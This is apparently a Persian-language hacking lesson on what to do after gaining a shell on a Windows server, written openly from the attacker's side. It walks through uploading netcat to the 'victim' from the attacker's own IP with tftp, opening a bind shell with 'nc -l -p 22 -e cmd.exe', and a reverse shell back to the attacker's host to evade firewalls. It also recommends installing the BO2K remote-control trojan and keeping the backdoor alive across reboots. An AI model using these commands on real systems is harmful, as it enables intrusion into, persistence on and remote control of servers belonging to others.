- یادآوری
این مقاله ادامه مقاله قبلیه! در این درس نیز ما با یک سرور ویندوز به صورت یک کامپیوتر منفرد سروکار داریم و توجهی به کامپیوترهای متصل به اون در شبکهای که هست نداریم.
- اولین کار بعد از بدستآوردن shell چیست؟
اولین کاری که بعد از بدستآوردن shell ویندوز انجام میشه، بستگی به هکر و روش اون داره. من همیشه سعی میکنم که یک تروجان یا backdoor در کامپیوتر قربانی نصب کنم و معمولا هم nc رو به کار میبرم.
اگر توجه کنید میبینید که وقتی یه backdoor در کامپیوتر قربانی ایجاد میکنیم، این backdoor هم یک shell در اختیار ما قرار میده، پس چه لزومی وجود داره که وقتی shell داریم، یک shell جدید به کمک nc ایجاد کنیم؟
دلیلش سه تاست:
۱- گاهی ما به یک shell در کامپیوتر قربانی دست پیدا میکنیم که interactive یا تعاملی نیست. یه مثال میگم که بفهمید منظور از تعاملی بودن چیه! اگه یادتون باشه در درس قبلی به کمک دستور cmd یک shell در کامپیوتر خودمون باز کردیم. این shell یک شل تعاملی است. در این شل مثلا وقتی از دستور copy con استفاده کردم، شل به من اجازه داد که بعد از زدن دکمه Enter بقیه کارها رو انجام بدم ( مثلا متنی که قراره داخل فایل تایپ کنم رو بنویسم و فایل رو save کنم ). در حالیکه در موارد غیرتعاملی، وقتی دستور copy con رو بنویسم،دیگه نمیتونم با shell تعامل داشته باشم و کار رو ادامه بدم. وقتی شل غیرتعاملی است، هر کاری رو باید با یک دستور یک سطری انجام بدم. اگه یادتون باشه در درس قبلی دستور echo رو گفتم که خروجیشو به یک فایل منتقل میکردیم و در واقع باهاش فایل متنی میساختیم، در شلهای غیرتعاملی این دستور قابل استفاده است زیرا بعد از اجرای دستور هیچ تعاملی با ما ندارد! اونایی که مثلا با Unicode bug آشنا هستند، میدانند که shell ی که به کمک اون بدست میاد، یک shell non-interactive یا شل غیرتعاملی است و بهتر است به شل تعاملی تبدیل شود. وقتی ما مثلا nc را به سرور میفرستیم و اجرا میکنیم، میتونیم با شل اون که یک شل تعاملی است راحتتر کار کنیم. کارهای ادامهدار فقط توسط یک shell تعاملی قابل اجرا خواهد بود.
۲- وقتی ما یک shell روی کامپیوتر قربانی بدست میآوریم معمولا این کار رو بدلیل exploit کردن یک حفرهامنیتی در سرور کسب کردهایم. اگر روزی این مشکل امنیتی توسط مسوول اون کامپیوتر رفع بشه، ما شل رو از دست خواهیم داد و در این مواقع، داشتن یک شل nc برگ برنده هکر خواهد بود.
۳- بعضی تروجانها وقتی در کامپیوتر قربانی نصب بشوند، چیزی بیشتر از یک شل در اختیار هکر میگذارند. مثلا ممکنه هکر بتونه به صورت remote دسکتاپ سرور قربانی رو ببینه و کارهایی که میخواد رو طوری انجام بده که گویا به صورت local به کامپیوتر قربانی دسترسی داره و جلوی مونیتور نشسته و ا داره کرمشو میریزه! به این قبیل نرمافزارها، نرمافزارهای remote control میگن. معروفترین remote control ها عبارتند از: PcAnyWhere ،VNC ،NetBus ،BO2K و...
- چگونه trojan رو به کامپیوتر هدف ارسال کنم؟
من در این درس میخوام nc رو به کامپیوتر قربانی بفرستم. برای اینکار راحتترین روش استفاده از برنامهای به نام tftp است که بصورت پیشفرض در زیرشاخه System32 از شاخه %SyestemRoot% وجود داره. همانطور که از اسم این نرمافزار بر میاد، کارش انتقال فایل از طریق شبکه است. اما تفاوتهایی با اون ftp که قبلا باهاش کار کردیم، داره:
۱- برای استفاده از اون بعد از دستیابی به شل ویندوز نیازی به username و password نیست.
۲- کلاینت ftp حالت تعاملی دارد ولی tftp غیر تعاملی است. و با توجه به اینکه ما هنوز nc رو منتقل و اجرا نکردیم، پس اگر شلی که بدست آوردیم غیرتعاملی باشه، نمیتوان از ftp استفاده کرد.
حالا چطوری از tftp استفاده کنیم؟
اولین کار اینه که شما باید یک سرور tftp روی کامپیوتر خودتون اجرا کنید. سرورهای مختلفی وجود داره ولی معروفترین آنها، Tftpd32 است. برای داونلود اون میتونید به این صفحه مراجعه کنید. جدیدترین ورژن این نرمافزار ورژن 2.6 است که میتونید با کلیک روی این لینک داونلود کنید. حالا فایل رو از حالت zip خارج کرده و روی فایل tftp32.exe دابلکلیک میکنید تا پنجره نرمافزار باز بشه.
فرض کنید که فایل nc.exe در فولدری به اسم far30 در درایو D قرار دارد. اول روی دکمه Settings کلیک کرده و در پنجرهای که باز میشود، Base Directory رو به کمک دکمه Browse روی فولدر far30 از درایو D تنظیم میکنیم و دکمه OK را کلیک میکنیم. حالا در پنجره اصلی نرمافزار هم در قسمت Current Directory روی دکمه Browse کلیک کرده و همون d:far30 رو ست میکنیم. حالا کامپیوتر ما آماده ارائه فایل nc.exe است که در فولدر far30 قرار دارد. مرحله بعدی اجرای دستور tftp در کامپیوتر قربانی است. فرض کنید که ip ما در این لحظه 217.66.198.116 است. دستور رو به صورت زیر در Shell ی که بدست آوردیم، اجرا میکنیم:
tftp -i 217.66.198.116 GET nc.exe
و جواب میشنویم:
Transfer successful: 59392 bytes in 1 second, 59392 bytes/s
دقت کنید که در دستور tftp سویچ i- یعنی اینکه انتقال به صورت باینری ( و نه اسکی ) باشد. ip ذکر شده، ip خودمان است و کلمه GET یعنی سرور ( که دستور tftp رو اجرا میکند) فایل رو بگیرد. اگه مینوشتیم، PUT معنی میداد که سرور قربانی، فایل را برای ما بفرستد. دقت کنید که برنامه tftpd32 رو روی کامپیوتر خودمان و برنامه tftp رو روی کامپیوتر قربانی اجرا کردیم. حالا که فایل nc.exe منتقل شد، میتونیم ازش استفاده کنیم.
- نرمافزار nc به کامپیوتر قربانی فرستاده شد. چطوری به عنوان یک trojan از آن استفاده کنیم؟
اگه یادتون باشه، تو یکی از درسها گفتم که مهمترین ابزاری که یه هکر در طول زندگیش! ازش استفاده میکنه، netcat یا همون nc است. و گفتم که یکی از دلایل اون توانایی این نرمافزار برای کار هم به صورت کلاینت و هم به صورت سرور است. حالا میخوام به صورت passive از این نرمافزار استفاده کنم. به این دلیل passive میگم که طوری اونو اجرا میکنم که در کامپیوتر قربانی، روی یک پورت خاص و دلخواه فالگوش بمونه. در حالی که من هر وقت خواستم به اون کانکت میشم. یک پورت دلخواه انتخاب کنید ( البته نباید پورتی رو که در حال حاضر روی کامپیوتر قربانی باز است، باشد) مثلا من ۲۲ رو انتخاب میکنم. در shell کامپیوتر قربانی دستور زیر رو اجرا میکنم:
nc -l -p 22 -e cmd.exe
این یعنی در پورت ۲۲ فالگوش بمونه و نیز cmd رو هم اجرا کنه که من یک shell بدست بیارم. حالا اگه ip کامپیوتر قربانی مثلا 63.148.112.65 باشه، در کامپیوتر خودم این دستور رو اجرا میکنم:
nc 63.148.112.65 22
خوب اگه به شل رسیدم که حال میکنم!! ولی بعضی مواقع پیش میاد که علیرغم طی همه این موارد نمیتونم به شل جدید دست پیدا کنم که دلیلش هم معمولا اینه که اون سرور توسط فایروالی بلاک شده که اجازه نمیده با پورتی که مشخص کردم بهش کانکت بشم. در آخر مقاله بهتون میگم که در این مواقع چکار باید بکنید. نکته بعدی اینه که این شل تا زمانی فعال خواهد بود که کامپیوتر قربانی restart نشه. و چون کامپیوترهای سرور دیر به دیر restart میشوند، این شل برای مدت نسبتا طولانی در دسترس من خواهد بود. اگه بخواین هر بار که کامپیوتر restart میشه، دوباره شل ایجاد بشه، از روشهایی که در درس مربوط به پورت 139 گفتم، استفاده کنید.
- آیا میتونم از تروجانهای دیگری بجز nc استفاده کنم؟
مسلما !
۱- تروجانی به نام ncx99 یا ncx وجود داره که یه شل در پورت ۹۹ سرور قربانی باز میکنه ولی چون کارش مثل nc است، توضیح بیشتری نمیدم.
۲- اگه میخواین به جای nc، یک remote control software روی کامپیوتر قربانی اجرا کنید، توصیه من استفاده از BO2K است. سایت BO2K رو ببینید و برای داونلود اون به این صفحه یا این صفحه مراجعه کنید. کار کردن با BO2K تقریبا مثل sub7 ه ولی مثل sub7 نرمافزار لوسی نیست! در BO2K فایل کلاینت که خودتون اجرا میکنید، bo2kgui.exe نام دارد و فایلی که با توجه به نیازهای شما سرور برای کامپیوتر قربانی میسازد، bo2kcfg.exe است. بعد از اینکه سرور ساخته شد که bo2k.exe نام دارد، اونو واسه کامپیوتر قربانی میفرستید و همونجا اجرا میکنید. حالا یه remote control روی سرور دارید :)
۳- و ...
- nc روی کامپیوتر قربانی اجرا شده. چرا نمیتونم به اون کانکت بشم؟
این موضوع میتونه دلایل مختلفی داشته باشه ولی معمولا دلیلش اینه که یک فایروال قبل از سرور قرار داره که نمیذاره به nc کانکت بشین. این حالت معمولا موقعی پیش میاد که nc رو به صورت passive یعنی فالگوش ( مثل موردی که توضیح دادم ) رو سرور نصب کرده باشین. چون شما میخواهید به اون کانکت بشوید ( چون شما کلاینت هستین و اون سرور )، فایروال این اجازه رو نمیده. در این حالت اگر وضع رو برعکس کنیم و nc رو طوری تنظیم کنیم که اون به ما کانکت بشه،معمولا مشکل حل میشه. یعنی باید بجای روش passive ، از روش active استفاده کنیم. در این حالت در کامیوتر خودمون دستور زیر اجرا میکنیم:
nc -l -p 22
و اگر ip ما 217.66.198.116 باشه، در کامپیوتر قربانی،اینو:
nc 217.66.198.116 22 -e cmd.exe
حالا اون به ما کانکت میشه و معمولا فایروال کاری به کارش نداره! دقت کنید همیشه اول دستوری رو اجرا میکنیم که نقش سرور رو داره یعنی اونی که دارای سویچ l- است. چه active باشه و چه passive، فرقی نداره. حالا ما یک interactive shell داریم که خیلی بدرد میخوره.